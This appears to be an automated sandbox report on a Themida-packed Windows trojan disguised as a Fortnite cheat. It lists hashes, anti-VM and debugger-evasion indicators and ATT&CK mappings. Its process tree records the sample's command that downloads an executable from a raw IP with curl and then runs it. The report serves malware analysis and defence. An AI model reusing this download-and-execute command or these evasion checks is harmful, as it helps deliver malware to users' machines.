4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
23/04/2024, 13:41

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General

Target
bat.win_external.exe
Size 4.2MB
Sample240423-qzbseagg21
SHA256 4188d2de2935e9adc6b37dcc1619e9392a3b3d44f019af87a1b5ad151f4df87d
MD5 3a15201746d47d11f659d8848fc71574
SHA1 c759fd19df4a289d2d3b251f822220e2ea9df57c
SHA512 7c9479b5260cc88a0f7b9d7f46fbd4f9c7c1f5c882fb270892f3a2c49a9fada0245c234ac9c65d61500560533345c61447bd67f7f44114234dd8ad22e329c00a
SSDEEP 98304:/fsr5evYrZ6ujAIE/2jc+xKijsunRMqEd/oWwBVv:8j6ujtE/GcSK+hn+qw7wB5
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

evasion themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bat.win_external.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bat.win_external.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bat.win_external.exe

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/2008-1-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida
behavioral1/memory/2008-2-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida
behavioral1/memory/2008-3-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida
behavioral1/memory/2008-4-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida
behavioral1/memory/2008-5-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida
behavioral1/memory/2008-6-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida
behavioral1/memory/2008-12-0x000000013F2F0000-0x000000013FDF5000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	bat.win_external.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2008	bat.win_external.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 2984	2008	bat.win_external.exe	29
PID 2008 wrote to memory of 2984	2008	bat.win_external.exe	29
PID 2008 wrote to memory of 2984	2008	bat.win_external.exe	29
PID 2984 wrote to memory of 2196	2984	cmd.exe	30
PID 2984 wrote to memory of 2196	2984	cmd.exe	30
PID 2984 wrote to memory of 2196	2984	cmd.exe	30
PID 2984 wrote to memory of 2600	2984	cmd.exe	31
PID 2984 wrote to memory of 2600	2984	cmd.exe	31
PID 2984 wrote to memory of 2600	2984	cmd.exe	31
PID 2984 wrote to memory of 3064	2984	cmd.exe	32
PID 2984 wrote to memory of 3064	2984	cmd.exe	32
PID 2984 wrote to memory of 3064	2984	cmd.exe	32
PID 2008 wrote to memory of 2468	2008	bat.win_external.exe	33
PID 2008 wrote to memory of 2468	2008	bat.win_external.exe	33
PID 2008 wrote to memory of 2468	2008	bat.win_external.exe	33
PID 2008 wrote to memory of 2996	2008	bat.win_external.exe	34
PID 2008 wrote to memory of 2996	2008	bat.win_external.exe	34
PID 2008 wrote to memory of 2996	2008	bat.win_external.exe	34

C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe
"C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\bat.win_external.exe" MD5
    3⤵
    PID:2196
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:2600
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:3064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl http://104.254.246.35/files/BAT.WIN_New_Fortnite_External.exe -o C:\NewFileVersion.exe --silent
  2⤵
  PID:2468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\NewFileVersion.exe
  2⤵
  PID:2996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2008-0-0x0000000077640000-0x00000000777E9000-memory.dmp

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memory/2008-1-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-2-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-3-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-4-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-5-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-6-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-7-0x0000000077640000-0x00000000777E9000-memory.dmp

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memory/2008-8-0x0000000077640000-0x00000000777E9000-memory.dmp

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memory/2008-9-0x0000000077640000-0x00000000777E9000-memory.dmp

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memory/2008-10-0x0000000077640000-0x00000000777E9000-memory.dmp

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memory/2008-11-0x0000000077640000-0x00000000777E9000-memory.dmp

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memory/2008-12-0x000000013F2F0000-0x000000013FDF5000-memory.dmp

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memory/2008-13-0x0000000077640000-0x00000000777E9000-memory.dmp

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads